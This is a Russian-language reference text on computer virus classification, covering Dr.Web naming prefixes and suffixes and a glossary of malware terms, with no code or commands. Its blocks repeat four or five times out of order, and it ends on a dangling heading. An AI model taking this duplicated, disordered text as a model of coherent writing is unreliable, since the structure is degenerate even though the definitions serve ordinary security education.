· "HLLP." (High Level Language Parasitic) -паразитический вирус, написанный на языке программирования высокого уровня. HLLP - вирус поражает исполняемые файлы, не повреждая оригинальные данные файла - жертвы. 

· "HLLW." (High Level Language Worm) - вирусная программа-червь, написанная на языке программирования высокого уровня. Для распространения эти вирусы не нуждаются в хост-файле, а копируют себя в системные директории. 

· "HLLM." (High Level Language MassMailing Worm) - вирусные программы-черви массовой рассылки, написанные на языке программирования высокого уровня. 

Троянские кони 

· "Trojan." - общее название для различных Троянских коней (Троянцев) : 

· "PWS." - Троянский конь, который ворует пароли. Как правило, префикс такой вирусной программы дополняется словом "Trojan." - "Trojan.PWS." 

· "Backdoor." - вирусная троянская программа, которая содержит в себе RAT-функцию (RAT - Remote Administration Tool - утилита удаленного администрирования). 

"HLL." (High Level Language) вирусы 

Вирусы, написанные на языках программирования высокого уровня, таких как C, C++, Pascal, Basic и другие. В некоторых случаях вирусный код компилированных HLL - вирусов сжимают с использованием различных утилит уплотнения (PKLITE, LZEXE, DIET и др).

В группе HLL-вирусов выделяют несколько классов:

· "HLLC." (High Level Language Companion) - вирус-компаньон, написанный на языке программирования высокого уровня. Такой вирус использует алгоритм инфицирования, который базируется на манипулировании именами файлов в файловой системе. Обычно HLLC - вирус переименовывает оригиналы исполняемых файлов (или перемещает их в другие директории), а затем использует названия оригинальных исполняемых файлов для создания на их месте вирусной копии. 

· "HLLO." (High Level Language Overwriting) -перезаписывающий вирус, написанный на языке программирования высокого уровня. HLLO - вирус перезаписывает данные файла-жертвы. 

· "HLLP." (High Level Language Parasitic) -паразитический вирус, написанный на языке программирования высокого уровня. HLLP - вирус поражает исполняемые файлы, не повреждая оригинальные данные файла - жертвы. 

· "HLLW." (High Level Language Worm) - вирусная программа-червь, написанная на языке программирования высокого уровня. Для распространения эти вирусы не нуждаются в хост-файле, а копируют себя в системные директории. 

· "HLLM." (High Level Language MassMailing Worm) - вирусные программы-черви массовой рассылки, написанные на языке программирования высокого уровня. 

Макро-вирусы для MS Office. 

Эти вирусы используют особенности форматов файлов и встроенные макро-языки приложений MS Office (Word Basic для MS Word 6.0-7.0; VBA3 для MS Excel 5.0-7.0; VBA5 для MS Office'97; VBA6 для MS Office'2000).

· "WM." - инфицированию подвергаются документы и шаблоны MS Word 6.0-7.0; 

· "XM." - инфицированию подвергаются документы MS Excel 5.0-7.0 ; 

· "W97M." - инфицированию подвергаются документы и шаблоны MS Word 8.0-9.0 (MS Office'97/2000); 

· "X97M." - инфицированию подвергаются документы MS Excel 8.0-9.0 (MS Office'97/2000) ; 

· "A97M." - инфицированию подвергаются базы данных MS Access'97/2000; 

· "O97M." - мультиплатформенные макро-вирусы, инфицированию которыми подвергаются одновременно несколько приложений MS Office. 

Троянские кони 

· "Trojan." - общее название для различных Троянских коней (Троянцев) : 

· "PWS." - Троянский конь, который ворует пароли. Как правило, префикс такой вирусной программы дополняется словом "Trojan." - "Trojan.PWS." 

· "Backdoor." - вирусная троянская программа, которая содержит в себе RAT-функцию (RAT - Remote Administration Tool - утилита удаленного администрирования). 

Скрипт-вирусы 

Такие вирусы пишутся на различных языках сценариев. Как правило, это VBS-, JS- и WScript- вирусные программы-черви, которые распространяются через электронную почту.

· "VBS." - вирусы, написанные на языке Visual Basic Script; 

· "JS." - вирусы, написанные на языке Java Script language; 

· "WScript." - VBS- и/или JS- черви обычно встроены в HTML-файлы. 

· "BAT." - вирусы, написанные на языке командного интерпретатора MS-DOS 

Silly-вирусы 

Вирусы, которые не обладают никакими особенными характеристиками (такими как текстовые строки, специальные эффекты и т.д.) вследствие чего нет возможности присвоить таким вирусам особенные названия.

· "SillyC." - не резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyE." - не резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyCE." - не резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyRC." - резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyRE." - резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyRCE." - резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyO." -не резидентные в памяти вирусы, которые перезаписывают файлы; 

· "SillyOR." - резидентные в памяти вирусы, которые перезаписывают файлы. 

"HLL." (High Level Language) вирусы 

Вирусы, написанные на языках программирования высокого уровня, таких как C, C++, Pascal, Basic и другие. В некоторых случаях вирусный код компилированных HLL - вирусов сжимают с использованием различных утилит уплотнения (PKLITE, LZEXE, DIET и др).

В группе HLL-вирусов выделяют несколько классов:

· "HLLC." (High Level Language Companion) - вирус-компаньон, написанный на языке программирования высокого уровня. Такой вирус использует алгоритм инфицирования, который базируется на манипулировании именами файлов в файловой системе. Обычно HLLC - вирус переименовывает оригиналы исполняемых файлов (или перемещает их в другие директории), а затем использует названия оригинальных исполняемых файлов для создания на их месте вирусной копии. 

· "HLLO." (High Level Language Overwriting) -перезаписывающий вирус, написанный на языке программирования высокого уровня. HLLO - вирус перезаписывает данные файла-жертвы. 

· "HLLP." (High Level Language Parasitic) -паразитический вирус, написанный на языке программирования высокого уровня. HLLP - вирус поражает исполняемые файлы, не повреждая оригинальные данные файла - жертвы. 

· "HLLW." (High Level Language Worm) - вирусная программа-червь, написанная на языке программирования высокого уровня. Для распространения эти вирусы не нуждаются в хост-файле, а копируют себя в системные директории. 

· "HLLM." (High Level Language MassMailing Worm) - вирусные программы-черви массовой рассылки, написанные на языке программирования высокого уровня. 

Макро-вирусы для MS Office. 

Эти вирусы используют особенности форматов файлов и встроенные макро-языки приложений MS Office (Word Basic для MS Word 6.0-7.0; VBA3 для MS Excel 5.0-7.0; VBA5 для MS Office'97; VBA6 для MS Office'2000).

· "WM." - инфицированию подвергаются документы и шаблоны MS Word 6.0-7.0; 

· "XM." - инфицированию подвергаются документы MS Excel 5.0-7.0 ; 

· "W97M." - инфицированию подвергаются документы и шаблоны MS Word 8.0-9.0 (MS Office'97/2000); 

· "X97M." - инфицированию подвергаются документы MS Excel 8.0-9.0 (MS Office'97/2000) ; 

· "A97M." - инфицированию подвергаются базы данных MS Access'97/2000; 

· "O97M." - мультиплатформенные макро-вирусы, инфицированию которыми подвергаются одновременно несколько приложений MS Office. 

"HLL." (High Level Language) вирусы 

Вирусы, написанные на языках программирования высокого уровня, таких как C, C++, Pascal, Basic и другие. В некоторых случаях вирусный код компилированных HLL - вирусов сжимают с использованием различных утилит уплотнения (PKLITE, LZEXE, DIET и др).

В группе HLL-вирусов выделяют несколько классов:

· "HLLC." (High Level Language Companion) - вирус-компаньон, написанный на языке программирования высокого уровня. Такой вирус использует алгоритм инфицирования, который базируется на манипулировании именами файлов в файловой системе. Обычно HLLC - вирус переименовывает оригиналы исполняемых файлов (или перемещает их в другие директории), а затем использует названия оригинальных исполняемых файлов для создания на их месте вирусной копии. 

· "HLLO." (High Level Language Overwriting) -перезаписывающий вирус, написанный на языке программирования высокого уровня. HLLO - вирус перезаписывает данные файла-жертвы. 

· "HLLP." (High Level Language Parasitic) -паразитический вирус, написанный на языке программирования высокого уровня. HLLP - вирус поражает исполняемые файлы, не повреждая оригинальные данные файла - жертвы. 

· "HLLW." (High Level Language Worm) - вирусная программа-червь, написанная на языке программирования высокого уровня. Для распространения эти вирусы не нуждаются в хост-файле, а копируют себя в системные директории. 

· "HLLM." (High Level Language MassMailing Worm) - вирусные программы-черви массовой рассылки, написанные на языке программирования высокого уровня. 

Макро-вирусы для MS Office. 

Эти вирусы используют особенности форматов файлов и встроенные макро-языки приложений MS Office (Word Basic для MS Word 6.0-7.0; VBA3 для MS Excel 5.0-7.0; VBA5 для MS Office'97; VBA6 для MS Office'2000).

· "WM." - инфицированию подвергаются документы и шаблоны MS Word 6.0-7.0; 

· "XM." - инфицированию подвергаются документы MS Excel 5.0-7.0 ; 

· "W97M." - инфицированию подвергаются документы и шаблоны MS Word 8.0-9.0 (MS Office'97/2000); 

· "X97M." - инфицированию подвергаются документы MS Excel 8.0-9.0 (MS Office'97/2000) ; 

· "A97M." - инфицированию подвергаются базы данных MS Access'97/2000; 

· "O97M." - мультиплатформенные макро-вирусы, инфицированию которыми подвергаются одновременно несколько приложений MS Office. 

Троянские кони 

· "Trojan." - общее название для различных Троянских коней (Троянцев) : 

· "PWS." - Троянский конь, который ворует пароли. Как правило, префикс такой вирусной программы дополняется словом "Trojan." - "Trojan.PWS." 

· "Backdoor." - вирусная троянская программа, которая содержит в себе RAT-функцию (RAT - Remote Administration Tool - утилита удаленного администрирования). 

Скрипт-вирусы 

Такие вирусы пишутся на различных языках сценариев. Как правило, это VBS-, JS- и WScript- вирусные программы-черви, которые распространяются через электронную почту.

· "VBS." - вирусы, написанные на языке Visual Basic Script; 

· "JS." - вирусы, написанные на языке Java Script language; 

· "WScript." - VBS- и/или JS- черви обычно встроены в HTML-файлы. 

· "BAT." - вирусы, написанные на языке командного интерпретатора MS-DOS 

"HLL." (High Level Language) вирусы 

Вирусы, написанные на языках программирования высокого уровня, таких как C, C++, Pascal, Basic и другие. В некоторых случаях вирусный код компилированных HLL - вирусов сжимают с использованием различных утилит уплотнения (PKLITE, LZEXE, DIET и др).

В группе HLL-вирусов выделяют несколько классов:

· "HLLC." (High Level Language Companion) - вирус-компаньон, написанный на языке программирования высокого уровня. Такой вирус использует алгоритм инфицирования, который базируется на манипулировании именами файлов в файловой системе. Обычно HLLC - вирус переименовывает оригиналы исполняемых файлов (или перемещает их в другие директории), а затем использует названия оригинальных исполняемых файлов для создания на их месте вирусной копии. 

· "HLLO." (High Level Language Overwriting) -перезаписывающий вирус, написанный на языке программирования высокого уровня. HLLO - вирус перезаписывает данные файла-жертвы. 

· "HLLP." (High Level Language Parasitic) -паразитический вирус, написанный на языке программирования высокого уровня. HLLP - вирус поражает исполняемые файлы, не повреждая оригинальные данные файла - жертвы. 

· "HLLW." (High Level Language Worm) - вирусная программа-червь, написанная на языке программирования высокого уровня. Для распространения эти вирусы не нуждаются в хост-файле, а копируют себя в системные директории. 

· "HLLM." (High Level Language MassMailing Worm) - вирусные программы-черви массовой рассылки, написанные на языке программирования высокого уровня. 

Макро-вирусы для MS Office. 

Эти вирусы используют особенности форматов файлов и встроенные макро-языки приложений MS Office (Word Basic для MS Word 6.0-7.0; VBA3 для MS Excel 5.0-7.0; VBA5 для MS Office'97; VBA6 для MS Office'2000).

· "WM." - инфицированию подвергаются документы и шаблоны MS Word 6.0-7.0; 

· "XM." - инфицированию подвергаются документы MS Excel 5.0-7.0 ; 

· "W97M." - инфицированию подвергаются документы и шаблоны MS Word 8.0-9.0 (MS Office'97/2000); 

· "X97M." - инфицированию подвергаются документы MS Excel 8.0-9.0 (MS Office'97/2000) ; 

· "A97M." - инфицированию подвергаются базы данных MS Access'97/2000; 

· "O97M." - мультиплатформенные макро-вирусы, инфицированию которыми подвергаются одновременно несколько приложений MS Office. 

Троянские кони 

· "Trojan." - общее название для различных Троянских коней (Троянцев) : 

· "PWS." - Троянский конь, который ворует пароли. Как правило, префикс такой вирусной программы дополняется словом "Trojan." - "Trojan.PWS." 

· "Backdoor." - вирусная троянская программа, которая содержит в себе RAT-функцию (RAT - Remote Administration Tool - утилита удаленного администрирования). 

Скрипт-вирусы 

Такие вирусы пишутся на различных языках сценариев. Как правило, это VBS-, JS- и WScript- вирусные программы-черви, которые распространяются через электронную почту.

· "VBS." - вирусы, написанные на языке Visual Basic Script; 

· "JS." - вирусы, написанные на языке Java Script language; 

· "WScript." - VBS- и/или JS- черви обычно встроены в HTML-файлы. 

· "BAT." - вирусы, написанные на языке командного интерпретатора MS-DOS 

Silly-вирусы 

Вирусы, которые не обладают никакими особенными характеристиками (такими как текстовые строки, специальные эффекты и т.д.) вследствие чего нет возможности присвоить таким вирусам особенные названия.

· "SillyC." - не резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyE." - не резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyCE." - не резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyRC." - резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyRE." - резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyRCE." - резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyO." -не резидентные в памяти вирусы, которые перезаписывают файлы; 

· "SillyOR." - резидентные в памяти вирусы, которые перезаписывают файлы. 

Другие суффиксы 

· "IRC."- вирусные программы-черви, которые распространяются, используя среду Internet Relayed Chat channels. 

Также при именовании вирусов компания "Доктор Веб" использует следующие суффиксы:

· ".generator" - так называемый «Вирусный конструктор» 

· ".based" - этот суффикс означает, что вирус был сгенерирован специальной программой «Вирусный конструктор» или что вирус был создан как модификация какого-то "basic" вирусного кода 

· ".dropper" - общее название для «инсталлятора» вируса. Не является сам вирусом. При запуске производит вирус и инсталлирует его в операционную систему (в исполняемый файл, документ, загрузочный сектор и т.д.). 

Вирусы, поражающие различные операционные системы 

· "Win." - поражает 16 битовые исполняемые программы (NE) в операционной системе Windows NE - NewExe - формат исполняемых файлов операционной системы Windows 3.xx . Некоторые из этих вирусов могут работать не только в среде Windows'3.xx но также и в Win'95/98/NT. 

· "Win95." - поражает 32 битовые исполняемые программы (PE и LE(VxD) операционной системы Windows и только в среде Windows 95/98 

· "WinNT." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют только в среде Windows NT; 

· "Win32." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют в различных средах - Windows 95/98/NT; 

· "OS2." - поражают исполняемые программы (LX) операционной системы OS/2 и действуют только в среде OS/2; 

· "Linux." - поражают исполняемые программы операционной системы Linux и действуют только в среде Linux; 

· "Java." - вирусы написанные на языке программирования Java; 

7.6.3.1 Типы вирусов

В зависимости от видов заражаемых объектов, компьютерные вирусы классифицируют по следующим типам: 

· Файловые вирусы (File viruses) - вирусы, заражающие двоичные файлы (в основном, исполняемые файлы и динамические библиотеки). Чаще всего, такие файлы имеют расширение .EXE, .COM, .DLL, .SYS. Также могут инфицировать файлы с расширениями .DRV, .BIN, .OVL и .OVY. 
Такие вирусы внедряются в файлы операционной системы, активируются при запуске пораженной программы и затем распространяются. 

· Загрузочные (бутовые) вирусы (Boot viruses) - вирусы, которые заражают загрузочные записи (Boot record) дискет, разделов жестких дисков, а также MBR (Master Boot Record) жестких дисков. 

· Макрокомандные вирусы (макровирусы) (Macroviruses) - вирусы, заражающие файлы документов, используемыe приложениями Microsoft Office и другими программами, допускающие наличие макрокоманд (чаще всего на языке Visual Basic). Благоприятным фактором распространения вируса служит то, что все основные компоненты Microsoft Office могут содержать встроенные программы (макросы) на полнофункциональном языке программирования, а в Microsoft Word эти макросы автоматически запускаются при открытии любого документа, его закрытии, сохранении и т.д.
Кроме того, имеется так называемый общий шаблон NORMAL.DOT и макросы, помещенные в общий шаблон автоматически запускаются при открытии любого документа. Учитывая то, что копирование макросов из документа в документ (в частности в общий шаблон) выполняется всего одной командой, среда Microsoft Word идеальна для существования макрокомандных вирусов. 

Анти-антивирусный вирус (Anti-antivirus Virus, Retrovirus) - компьютерная вирусная программа объектом нападения которой являются антивирусные программы.

Антивирусный вирус (Antivirus Virus) - компьютерная вирусная программа, объектом нападения которой являются другие компьютерные вирусы.
Вариант вируса, штамм, модификация (Variant, modification) - модифицированный вариант одного и того же вируса. Изменения в вирусный код могут вноситься как автором вируса, так и третьим лицом.

Вирусная программа-червь (Worm-virus) - паразитическая программа, обладающая механизмом саморазмножения. Программа способна размножать свои копии, но не поражать другие компьютерные программы. Проникает на компьютер из сети (чаще всего как вложение в сообщениях электронной почты или через сеть Интернет) и рассылает свои функциональные копии на другие компьютерные сети.

Вирусный код, сигнатура (Signature) - система символов и однозначных правил их интерпретации, используемая для предоставления информации в виде данных. Представляет собой набор символов или последовательность байтов, которые, как предполагается, могут быть свойственны, а, следовательно, и обнаружены в каком-то определенном вирусе, в каждой его копии, и только в нем. Антивирусные сканеры используют сигнатуру для нахождения вирусов. Пoлиморфные вирусы не имеют сигнатуры.

Вирусный мистификатор (Hoax) - не являющееся вирусом почтовое сообщение. На компьютер пользователя мистификация приходит в виде письма, написанного в подчеркнуто нейтральном тоне, в котором указывается на якобы распространяющийся новый вирус.
Большинство вирусных мистификаций обладают одной или несколькими нижеследуемыми характеристиками. 
Имя вируса, на которое ссылается автор сообщения составляется не по правилам, используемым большинством антивирусных компаний. 
Особо отмечается, что "вирус" пока не обнаруживается антивирусными программами. 
Пользователю предлагается найти некий файл с помощью поискового средства Windows и удалить его с диска. 
В письме содержится призыв в случае обнаружения указанного файла сообщить об этом всем своим знакомым и все тем, чьи адреса есть в адресной книге пользователя. 
Несмотря на всю безобидность подобного розыгрыша опасность его очевидна - массовая рассылка копий этого бесполезного сообщения загружает почтовый трафик и отнимает время пользователей.

Вирусы-спутники, вирусы-компаньоны (Virus-companion) - формально являются файловыми вирусами. Не внедряются в исполняемые программы. 
Такие вирусы используют особенность системы DOS, позволяющую программному файлу с тем же названием, но другим расширением действовать с разными приоритетами. 
Под приоритетом понимают присваиваемый задаче, программе или операции признак, определяющий очередность их выполнения вычислительной системой. 
Большинство таких вирусов создают .COM файл который обладает более высоким приоритетом нежели .EXE файлы с тем же самым названием. При запуске файла по имени (без указания расширения) будет запущен файл с расширением .СОМ. 

Такие вирусы могут быть резидентными и маскировать файлы-двойники.

"Дроппер" (Dropper) - файл-носитель, устанавливающий вирус в систему. Техника иногда используемая вирусописателями для "прикрытия" вирусов от антивирусных программ.
Другие названия вируса (Other virus names): антивирусные компании, как правило, дают разные названия одним и тем же вирусам, исходя из собственных правил формирования вирусного имени. В большинстве случаев основное имя вируса (например, Klez, Badtrans, Nimda) одинаково и присутствует в наименовании этого вируса, независимо от антивирусной компании. Различаются в основном префиксы и суффиксы имени вируса, правила использования которых у каждой компании могут быть свои. В частности, если в классификации вирусов, принятой в компании ООО "Доктор Веб", версии одного и того же вируса нумеруются числами, начиная с 1, в компании Symantec для этих же целей используются заглавные буквы английского алфавита.

Зоологический вирус (Zoo virus) - вирус, существующий только в антивирусных лабораториях, в коллекция исследователей вирусов и не встречается в "дикой природе".

Полиморфные вирусы (Polymorphic viruses) - или вирусы с самомодифицирующимися расшифровщиками (по Н.Н.Безрукову) - вирусы, использующие помимо шифрования кода специальную процедуру расшифровки, изменяющую саму себя в каждом новом экземпляре вируса, что ведет к отсутствию у него байтовыхсигнатур. Расшифровщик не является постоянным - он уникален для каждого экземпляра вируса.

Анти-антивирусный вирус (Anti-antivirus Virus, Retrovirus) - компьютерная вирусная программа объектом нападения которой являются антивирусные программы. 

Антивирусный вирус (Antivirus Virus) - компьютерная вирусная программа, объектом нападения которой являются другие компьютерные вирусы. 

Вариант вируса, штамм, модификация (Variant, modification) - модифицированный вариант одного и того же вируса. Изменения в вирусный код могут вноситься как автором вируса, так и третьим лицом. 

Вирусная программа-червь (Worm-virus) - паразитическая программа, обладающая механизмом саморазмножения. Программа способна размножать свои копии, но не поражать другие компьютерные программы. Проникает на компьютер из сети (чаще всего как вложение в сообщениях электронной почты или через сеть Интернет) и рассылает свои функциональные копии на другие компьютерные сети. 

Вирусный код, сигнатура (Signature) - система символов и однозначных правил их интерпретации, используемая для предоставления информации в виде данных. Представляет собой набор символов или последовательность байтов, которые, как предполагается, могут быть свойственны, а, следовательно, и обнаружены в каком-то определенном вирусе, в каждой его копии, и только в нем. Антивирусные сканеры используют сигнатуру для нахождения вирусов. Пoлиморфные вирусы не имеют сигнатуры. 

Вирусный мистификатор (Hoax) - не являющееся вирусом почтовое сообщение. На компьютер пользователя мистификация приходит в виде письма, написанного в подчеркнуто нейтральном тоне, в котором указывается на якобы распространяющийся новый вирус.
Большинство вирусных мистификаций обладают одной или несколькими нижеследуемыми характеристиками. 
Имя вируса, на которое ссылается автор сообщения составляется не по правилам, используемым большинством антивирусных компаний. 
Особо отмечается, что "вирус" пока не обнаруживается антивирусными программами. 
Пользователю предлагается найти некий файл с помощью поискового средства Windows и удалить его с диска. 
В письме содержится призыв в случае обнаружения указанного файла сообщить об этом всем своим знакомым и все тем, чьи адреса есть в адресной книге пользователя. 
Несмотря на всю безобидность подобного розыгрыша опасность его очевидна - массовая рассылка копий этого бесполезного сообщения загружает почтовый трафик и отнимает время пользователей. 

Вирусы-спутники, вирусы-компаньоны (Virus-companion) - формально являются файловыми вирусами. Не внедряются в исполняемые программы. 
Такие вирусы используют особенность системы DOS, позволяющую программному файлу с тем же названием, но другим расширением действовать с разными приоритетами. 
Под приоритетом понимают присваиваемый задаче, программе или операции признак, определяющий очередность их выполнения вычислительной системой. 
Большинство таких вирусов создают .COM файл который обладает более высоким приоритетом нежели .EXE файлы с тем же самым названием. При запуске файла по имени (без указания расширения) будет запущен файл с расширением .СОМ. 

Такие вирусы могут быть резидентными и маскировать файлы-двойники. 

"Дроппер" (Dropper) - файл-носитель, устанавливающий вирус в систему. Техника иногда используемая вирусописателями для "прикрытия" вирусов от антивирусных программ. 

Другие названия вируса (Other virus names): антивирусные компании, как правило, дают разные названия одним и тем же вирусам, исходя из собственных правил формирования вирусного имени. В большинстве случаев основное имя вируса (например, Klez, Badtrans, Nimda) одинаково и присутствует в наименовании этого вируса, независимо от антивирусной компании. Различаются в основном префиксы и суффиксы имени вируса, правила использования которых у каждой компании могут быть свои. В частности, если в классификации вирусов, принятой в компании ООО "Доктор Веб", версии одного и того же вируса нумеруются числами, начиная с 1, в компании Symantec для этих же целей используются заглавные буквы английского алфавита. 

Зоологический вирус (Zoo virus) - вирус, существующий только в антивирусных лабораториях, в коллекция исследователей вирусов и не встречается в "дикой природе". 

Компьютерные вирусы (Computer viruses) - это программы или фрагменты программного кода, которые, попав на компьютер, могут вопреки воле пользователя выполнять различные операции на этом компьютере - создавать или удалять объекты, модифицировать файлы данных или программные файлы, осуществлять действия по собственному распространению по локальным вычислительным сетям или по сети Интернет. Модификация программных файлов, файлов данных или загрузочных секторов дисков таким образом, что последние сами становятся носителями вирусного кода и в свою очередь могут осуществлять вышеперечисленные операции, называется заражением (инфицированием) и является важнейшей функцией компьютерных вирусов. В зависимости от типов заражаемых объектов выделяются различные типы вирусов. 

Полиморфные вирусы (Polymorphic viruses) - или вирусы с самомодифицирующимися расшифровщиками (по Н.Н.Безрукову) - вирусы, использующие помимо шифрования кода специальную процедуру расшифровки, изменяющую саму себя в каждом новом экземпляре вируса, что ведет к отсутствию у него байтовыхсигнатур. Расшифровщик не является постоянным - он уникален для каждого экземпляра вируса. 

MtE вирусы (MtE viruses) - полиморфные вирусы, созданные с помощью генератора полиморфизма MtE (Mutant Engine). Такой генератор представляет собой специальный алгоритм, который отвечает за функции шифровки/расшифровки и генерацию расшифровщиков и присоединяется к любому объектному коду вируса. Такой расшифровщик не имеет ни одного постоянного бита, длина его всегда разная. 

Pезидентный (в памяти) вирус (Memory resident virus) - постоянно присутствующий в памяти вирус, написанный, как правило, на языке Ассемблер или Си. 

Такие вирусы обладают возможностью более эффективно заражать программы и противодействовать антивирусным средствам. Занимает небольшой объем памяти. Пребывает в состоянии готовности к продолжению выполнения своей задачи до выгрузки, перезагрузки или выключения компьютера. Активизируется и выполняет заданные вирусописателем действия например при достижении компьютером определенного состояния (срабатывания таймера, др.). Все бутовые вирусы резидентны. 

Скрипт-вирусы (Script virus) - вирусы, написанные на языках Visual Basic, Basic Script, Java Script, Jscript. 

На компьютер пользователя такие вирусы, чаще всего, проникают в виде почтовых сообщений, содержащих во вложениях файлы-сценарии. Программы на языках Visual Basic и Java Script могут располагаться как в отдельных файлах, так и встраиваться в HTML-документ и в таком случае интерпретироваться браузером, причем не только с удаленного сервера, но и с локального диска. 

Анти-антивирусный вирус (Anti-antivirus Virus, Retrovirus) - компьютерная вирусная программа объектом нападения которой являются антивирусные программы. 

Антивирусный вирус (Antivirus Virus) - компьютерная вирусная программа, объектом нападения которой являются другие компьютерные вирусы. 

Вариант вируса, штамм, модификация (Variant, modification) - модифицированный вариант одного и того же вируса. Изменения в вирусный код могут вноситься как автором вируса, так и третьим лицом. 

Вирусная программа-червь (Worm-virus) - паразитическая программа, обладающая механизмом саморазмножения. Программа способна размножать свои копии, но не поражать другие компьютерные программы. Проникает на компьютер из сети (чаще всего как вложение в сообщениях электронной почты или через сеть Интернет) и рассылает свои функциональные копии на другие компьютерные сети. 

Вирусный код, сигнатура (Signature) - система символов и однозначных правил их интерпретации, используемая для предоставления информации в виде данных. Представляет собой набор символов или последовательность байтов, которые, как предполагается, могут быть свойственны, а, следовательно, и обнаружены в каком-то определенном вирусе, в каждой его копии, и только в нем. Антивирусные сканеры используют сигнатуру для нахождения вирусов. Пoлиморфные вирусы не имеют сигнатуры. 

Вирусный мистификатор (Hoax) - не являющееся вирусом почтовое сообщение. На компьютер пользователя мистификация приходит в виде письма, написанного в подчеркнуто нейтральном тоне, в котором указывается на якобы распространяющийся новый вирус.
Большинство вирусных мистификаций обладают одной или несколькими нижеследуемыми характеристиками. 
Имя вируса, на которое ссылается автор сообщения составляется не по правилам, используемым большинством антивирусных компаний. 
Особо отмечается, что "вирус" пока не обнаруживается антивирусными программами. 
Пользователю предлагается найти некий файл с помощью поискового средства Windows и удалить его с диска. 
В письме содержится призыв в случае обнаружения указанного файла сообщить об этом всем своим знакомым и все тем, чьи адреса есть в адресной книге пользователя. 
Несмотря на всю безобидность подобного розыгрыша опасность его очевидна - массовая рассылка копий этого бесполезного сообщения загружает почтовый трафик и отнимает время пользователей. 

Вирусы-спутники, вирусы-компаньоны (Virus-companion) - формально являются файловыми вирусами. Не внедряются в исполняемые программы. 
Такие вирусы используют особенность системы DOS, позволяющую программному файлу с тем же названием, но другим расширением действовать с разными приоритетами. 
Под приоритетом понимают присваиваемый задаче, программе или операции признак, определяющий очередность их выполнения вычислительной системой. 
Большинство таких вирусов создают .COM файл который обладает более высоким приоритетом нежели .EXE файлы с тем же самым названием. При запуске файла по имени (без указания расширения) будет запущен файл с расширением .СОМ. 

Такие вирусы могут быть резидентными и маскировать файлы-двойники. 

"Дроппер" (Dropper) - файл-носитель, устанавливающий вирус в систему. Техника иногда используемая вирусописателями для "прикрытия" вирусов от антивирусных программ. 

Другие названия вируса (Other virus names): антивирусные компании, как правило, дают разные названия одним и тем же вирусам, исходя из собственных правил формирования вирусного имени. В большинстве случаев основное имя вируса (например, Klez, Badtrans, Nimda) одинаково и присутствует в наименовании этого вируса, независимо от антивирусной компании. Различаются в основном префиксы и суффиксы имени вируса, правила использования которых у каждой компании могут быть свои. В частности, если в классификации вирусов, принятой в компании ООО "Доктор Веб", версии одного и того же вируса нумеруются числами, начиная с 1, в компании Symantec для этих же целей используются заглавные буквы английского алфавита. 

Зоологический вирус (Zoo virus) - вирус, существующий только в антивирусных лабораториях, в коллекция исследователей вирусов и не встречается в "дикой природе". 

Компьютерные вирусы (Computer viruses) - это программы или фрагменты программного кода, которые, попав на компьютер, могут вопреки воле пользователя выполнять различные операции на этом компьютере - создавать или удалять объекты, модифицировать файлы данных или программные файлы, осуществлять действия по собственному распространению по локальным вычислительным сетям или по сети Интернет. Модификация программных файлов, файлов данных или загрузочных секторов дисков таким образом, что последние сами становятся носителями вирусного кода и в свою очередь могут осуществлять вышеперечисленные операции, называется заражением (инфицированием) и является важнейшей функцией компьютерных вирусов. В зависимости от типов заражаемых объектов выделяются различные типы вирусов. 

Полиморфные вирусы (Polymorphic viruses) - или вирусы с самомодифицирующимися расшифровщиками (по Н.Н.Безрукову) - вирусы, использующие помимо шифрования кода специальную процедуру расшифровки, изменяющую саму себя в каждом новом экземпляре вируса, что ведет к отсутствию у него байтовыхсигнатур. Расшифровщик не является постоянным - он уникален для каждого экземпляра вируса. 

MtE вирусы (MtE viruses) - полиморфные вирусы, созданные с помощью генератора полиморфизма MtE (Mutant Engine). Такой генератор представляет собой специальный алгоритм, который отвечает за функции шифровки/расшифровки и генерацию расшифровщиков и присоединяется к любому объектному коду вируса. Такой расшифровщик не имеет ни одного постоянного бита, длина его всегда разная. 

Pезидентный (в памяти) вирус (Memory resident virus) - постоянно присутствующий в памяти вирус, написанный, как правило, на языке Ассемблер или Си. 

Такие вирусы обладают возможностью более эффективно заражать программы и противодействовать антивирусным средствам. Занимает небольшой объем памяти. Пребывает в состоянии готовности к продолжению выполнения своей задачи до выгрузки, перезагрузки или выключения компьютера. Активизируется и выполняет заданные вирусописателем действия например при достижении компьютером определенного состояния (срабатывания таймера, др.). Все бутовые вирусы резидентны. 

Скрипт-вирусы (Script virus) - вирусы, написанные на языках Visual Basic, Basic Script, Java Script, Jscript. 

На компьютер пользователя такие вирусы, чаще всего, проникают в виде почтовых сообщений, содержащих во вложениях файлы-сценарии. Программы на языках Visual Basic и Java Script могут располагаться как в отдельных файлах, так и встраиваться в HTML-документ и в таком случае интерпретироваться браузером, причем не только с удаленного сервера, но и с локального диска. 

Стелс вирусы (Stealth virus) - вирусные программы, предпринимающие специальные действия для маскировки своей деятельности с целью сокрытия своего присутствия в зараженных объектах. 

Так называемая Стелс-технология может включать в себя: 

· затруднение обнаруженья вируса в оперативной памяти 

· затруднение трассировки и дезассемблирования вируса 

· маскировку процесса заражения 

· затруднение обнаружения вируса в зараженной программе и загрузочном секторе. 

Шифрованные вирусы (Encrypted viruses) - вирусы, которые сами шифруют свой код для затруднения их дезассемблирования и обнаружения в файле, памяти или секторе. Каждый экземпляр такого вируса будет содержать только короткий общий фрагмент - процедуру расшифровки который можно выбрать в качестве сигнатуры. В случае каждого инфицирования он автоматически зашифровывает себя, и каждый раз по-разному. Таким способом вирус пытается избежать обнаружения антивирусными программами. 

 Вирусы, поражающие различные операционные системы 

